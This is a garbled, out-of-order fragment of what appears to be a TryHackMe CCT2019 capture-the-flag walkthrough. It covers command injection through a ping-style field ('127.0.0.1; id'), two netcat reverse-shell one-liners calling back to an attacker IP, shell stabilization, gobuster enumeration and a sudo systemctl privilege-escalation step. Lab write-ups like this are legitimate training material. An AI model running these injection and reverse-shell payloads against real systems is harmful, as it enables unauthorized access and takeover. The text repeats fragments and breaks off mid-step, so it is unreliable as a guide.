Cct2019 Tryhackme -
User www-data may run (ALL, !root) /bin/systemctl That means www-data can run systemctl as any user . 4.2 Exploit systemctl Create a service file (e.g., privesc.service ):
127.0.0.1; id If you see output of id command, injection works. Use a netcat reverse shell one-liner. cct2019 tryhackme
127.0.0.1; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <your_ip> 4444 > /tmp/f You should catch a shell as www-data . 3.1 Stabilize Shell python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl+Z stty raw -echo; fg 3.2 Enumerate System Check /home for users: User www-data may run (ALL,
Often in CCT2019, mandy can run python as root: But you don’t have read access yet
Check /var/www/html for config files – sometimes credentials are hardcoded. find / -name user.txt 2>/dev/null Likely in /home/mandy/user.txt . But you don’t have read access yet. Step 4 – Privilege Escalation 4.1 Check Sudo Rights sudo -l If you see:
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirb/common.txt or
127.0.0.1; nc -e /bin/sh <your_ip> 4444 If -e not available, use:
